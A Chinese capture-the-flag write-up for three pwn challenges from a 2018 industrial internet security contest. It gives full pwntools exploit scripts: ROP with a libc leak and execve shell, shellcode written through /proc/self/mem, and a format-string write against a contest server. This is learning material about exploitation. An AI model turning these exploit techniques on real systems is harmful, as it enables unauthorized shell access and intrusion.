2018 赛博地球杯工业互联网安全大赛
0x01 跑马灯 HMI
程序实现了一个跑马灯的效果,外层循环为3,在最后一次循环中,会设置一个handler并在两秒后触发。此时三层循环即将结束,运行gee函数。此时有一个栈溢出,但是时间只有两秒,之后便会进入handler。handler中是一个死循环,进入就再也无法出来了。
程序的意思很明显,希望我们在2s内,利用栈溢出来getshell。
由于没有给libc,因此泄漏地址之后可以1. 结合libc-database来获得libc版本。2.通过DynELF来泄漏函数地址。(本质和前者一样)。
利用姿势一(libc-database 计算libc):
- 调用alarm(0) 防止触发handler
- 调用write 输出一个字符串方便接受后续数据(welcome)
- 调用write 输出read的GOT来计算libc
- 调用read 等待输入 rop,把rop写入bss
- 使用leave指令进行stack pivot到bss段执行刚才读入的rop
- --------第一段rop已经发送完毕,以下是第二段rop
- 根据read GOT计算libc 中的execve和sh的地址
- 发送rop给read函数
利用姿势二(dynelf泄漏libc):
- 调用alarm(0) 防止触发handler
- 调用write 输出一个字符串方便接受后续数据(welcome)
- 调用write 输出read的GOT来计算libc 返回到gee多次触发栈溢出
- 编写leak函数,使用dynelf计算其它libc地址
- 栈溢出向bss写入/bin/sh\x00。
- 直接ret2libc 或者 调用read等待输入 rop后再stack pivot(同姿势一)
main函数:
gee函数:
handler函数:
重温DynELF
DynELF可以搜索别的函数symbol的地址。用DynELF函数的前提:1.编写至少泄漏1byte数据2.leak函数可以多次触发。编写时,每次修改leak函数即可,注意DynELF不能搜索到binsh字符串。
写DynELF时,需要写“/bin/sh\x00”字符串,read时注意需要read的长度需要设置为9,因为一般用sendline发送,多一个\a,会对下面的read造成影响。
做题时,能用libc-database就少用dynelf。但是dynelf的通用性比libc-databse好。
收获
- alarm 和signal联合使用,会在alarm后触发signal注册的handler。
- 经典的rop利用:1. 泄漏地址、read 待输入的rop到可写地址,并跳到rop执行。2. 再输入要执行的rop
- DynELF
- 写ROP时,+ 和+=不要看错了!
#!/usr/bin/env python
# coding=utf-8
# author: thinkycx
# date:2018-02-26
from pwn import *
context(arch = 'i386', os = 'linux', endian = 'little')
popret = p32(0x08048bcb)
pop2ret = p32(0x08048bca)
pop3ret = p32(0x08048bc9)
leaveret = p32(0x080488DB)
gee = 0x080488A8
def wait_to_attack():
for i in range(3):
io.recvuntil("*...........................................................")
log.info("round" + unicode(i))
def leak(address):
io.recvuntil("*...........................................................")
payload = 'A'*0x8c
rop = p32(elf.plt['write']) + pop3ret + p32(1) + p32(0x08048C3C) + p32(0x7) #welcome
rop += p32(elf.plt['write']) + pop3ret + p32(1) + p32(address) + p32(0x4)
rop += p32(gee)
payload += rop
io.sendline(payload)
io.recvuntil('Welcome')
data = io.recv(4)
#data = u32(data)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
def bof():
log.info("start to bof")
sleep(0.5)
log.info("bof # leak read addr to get libc & return to gee")
payload = 'A'*0x8c
rop = p32(elf.plt['alarm']) + popret + p32(0)
rop += p32(elf.plt['write']) + pop3ret + p32(1) + p32(0x08048C3C) + p32(0x7) #welcome
rop += p32(elf.plt['write']) + pop3ret + p32(1) + p32(elf.got['read']) + p32(0x4)
rop += p32(gee)
#rop += p32(elf.plt['read']) +pop3ret + p32(0) + p32(0x0804a100) + p32(0x100)
#rop += popret + p32(0x0804a100-4) + leaveret
# way 2 dynelf
if debug:
gdb.attach(io,'b *0x080488DC')
io.sendline(payload + rop)
io.recvuntil('Welcome')
read_addr = io.recv(4)
read_addr = u32(read_addr)
log.info('leak read @' + hex(read_addr))
# system failed
#system_addr = read_addr - 0x000d4350 + 0x0003a940
if local:
# @way1 use local libc
libc.address = read_addr - libc.symbols['read']
execve_addr = libc.symbols['execve']
binsh_addr = next(libc.search('/bin/sh\x00'))
else:
# offset find by libc-database https://libc.blukat.me/?q=read
execve_addr = read_addr - libc.symbols['read'] + 0x000af590
binsh_addr = read_addr - libc.symbols['read'] + 0x15902b
log.info('execve @ '+hex(execve_addr))
log.info('binsh @ '+hex(binsh_addr))
sleep(1)
if not dynelf:
# way 1
# rop = p32(elf.plt['write']) + pop3ret + p32(1) + p32(0x08048C3C) + p32(0x7) #welcome
# rop += p32(elf.plt['read']) +pop3ret + p32(0) + p32(0x0804a100) + p32(0x100)
# rop += popret + p32(0x0804a100-4) + leaveret
# log.info("start to getshell")
# payload = "A"*0x8C
# io.recvuntil("*...........................................................")
# io.sendline(payload + rop)
# rop = p32(execve_addr) + p32(0xdeadbeaf) + p32(binsh_addr) + p32(0) + p32(0)
# io.sendlineafter("Welcome", rop)
# #rop = p32(system_addr) + p32(0xdeadbeaf) + p32(binsh_addr) + p32(0)
# way 2
log.info("start to getshell")
payload = "A"*0x8C
rop = p32(execve_addr) + p32(0xdeadbeaf) + p32(binsh_addr) + p32(0) + p32(0)
io.recvuntil("*...........................................................")
io.sendline(payload + rop)
else:
log.info("start to leak")
sleep(2)
d = DynELF(leak, elf=elf)
assert execve_addr == d.lookup('execve', 'libc')
log.info("dynelf leak success")
# read and jmp to rop
log.info("start to getshell")
payload = 'A'*0x8c
binsh_addr = 0x804a138
rop = p32(elf.plt['write']) + pop3ret + p32(1) + p32(0x08048C3C) + p32(0x7) #welcome
rop += p32(elf.plt['read']) + pop3ret + p32(0) + p32(0x804a138) + p32(9) # /bin/sh\x00
rop += p32(elf.plt['write']) + pop3ret + p32(1) + p32(0x08048C3C) + p32(0x7) #welcome
rop += p32(elf.plt['read']) +pop3ret + p32(0) + p32(0x0804a100) + p32(0x100)
rop += popret + p32(0x0804a100-4) + leaveret
io.recvuntil("*...........................................................")
io.sendline(payload + rop)
io.sendlineafter("Welcome","/bin/sh\x00")
rop = p32(execve_addr) + p32(0xdeadbeaf) + p32(binsh_addr) + p32(0) + p32(0)
#rop = p32(system_addr) + p32(0xdeadbeaf) + p32(binsh_addr) + p32(0)
io.sendlineafter("Welcome",rop)
def pwn():
wait_to_attack()
bof()
if __name__ == '__main__':
global local, debug, io, elf, libc, dynelf
local, debug, dynelf = 1, 0, 0
# context.log_level = 'debug'
if local:
io = process('./HMI')
elf = ELF('./HMI')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.terminal = ['terminator','-x','sh','-c']
else:
io = remote('127.0.0.1',1111)
pwn()
io.interactive()
0x02 fileManager
程序具有任意文件读取的权限。
/proc/self/maps中存在文件的内存空间映射。/proc/self/mem是文件的内存空间。因此,读取了内存空间映射maps后,可以修改对应的mem空间,进而劫持.text段中的某些函数。比如修改某些函数为一段shellcode,就可以拿shell了。
main函数:
写:
读:
收获
- /proc/self/maps 和/proc/self/mem 等其它/proc 文件需要多了解
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(arch = 'i386', os = 'linux', endian = 'little')
context.log_level = 'debug'
def login(io, name):
io.sendlineafter('请登录FTP:', name)
def read_func(io, module_name, offset, size):
io.sendlineafter('3. 退出','1')
gdb.attach(pidof(io)[0])
io.sendlineafter('模块名称:',module_name)
io.sendlineafter('查找模块偏移量:',offset)
io.sendlineafter('模块读取大小:', size)
io.recvuntil('模块内容')
base = '0x' + io.recv(8)
base = int(base,16)
log.info('base:' + hex(base))
return base
def write_func(io, module_name, offset, size, data):
io.sendlineafter('3. 退出', '2')
io.sendlineafter('模块名称:', module_name)
io.sendlineafter('写入模块偏移量:', offset)
io.sendlineafter('模块写入大小:', size)
io.sendlineafter('写入模块:', data)
def getshell(io):
io.sendlineafter('3. 退出', '1')
def pwn(io):
login(io, 'think')
base = read_func(io, '/proc/self/maps','0','256')
data = asm(shellcraft.sh())
offset_read_func = 0xD9B
offset = unicode(base + offset_read_func)
write_func(io, '/proc/self/mem', offset , '256', data)
getshell(io)
io.interactive()
if __name__ == '__main__':
local = 1
if local:
io = process('./fileManager')
context.terminal = ['terminator','-x','sh','-c']
else:
io = remote('127.0.0.1',1111)
pwn(io)
0x03 药物浓度
格式化字符串漏洞,计算offset为12,然后修改0x804b14c处的值为0x2223322。程序会把每次输出刷新,flag藏在其中也会被刷新,因此需要保存每次输出的值。
收获
- 程序刷新输出时,需要每次接收后都保存。
from pwn import *
context_level = 'debug'
addr = 0x804b14c
value = 0x2223322
payload = fmtstr_payload(12, {addr:value })
print payload
#payload = p32(addr) + "|%x"*16
#payload = p32(addr) +
ip = '47.104.70.11'
port = 30002
io = remote(ip,port)
io.sendline(payload)
while True:
buf = io.recv(1024)
print '------'
print buf